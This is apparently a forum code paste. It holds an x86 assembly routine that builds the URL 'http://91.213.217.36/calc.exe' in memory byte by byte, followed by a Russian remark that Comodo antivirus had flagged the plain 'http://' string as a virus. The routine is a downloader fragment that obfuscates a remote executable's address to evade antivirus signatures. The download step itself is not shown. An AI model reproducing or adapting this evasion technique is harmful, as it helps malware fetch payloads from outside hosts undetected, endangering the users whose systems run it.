- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
domain db "91.213.217.36"
softname db "calc.exe",0
.......................
Makehttp proc
lea edi,url
mov eax,70747468h
mov [edi],eax
mov eax,3ah
mov [edi+4],eax
mov eax,2f2fh
mov [edi+5],eax
lea esi,domain
xor ecx,ecx
push edx
xor edx,edx
mov edx,7
mov cx,sizeof domain
dom:
lodsb
mov [edi+edx],al
add edx,1
loop dom
mov eax,2fh
mov [edi+edx],eax
add edx,1
lea esi,softname
mov cx,sizeof softname
gen:
lodsb
mov [edi+edx],al
add edx,1
loop gen
pop edx
xor eax,eax
mov eax,1
ret
Makehttp endp
comodo ругался на строку http:// говоря что вирус :)Наговноколил это и пошел спать :)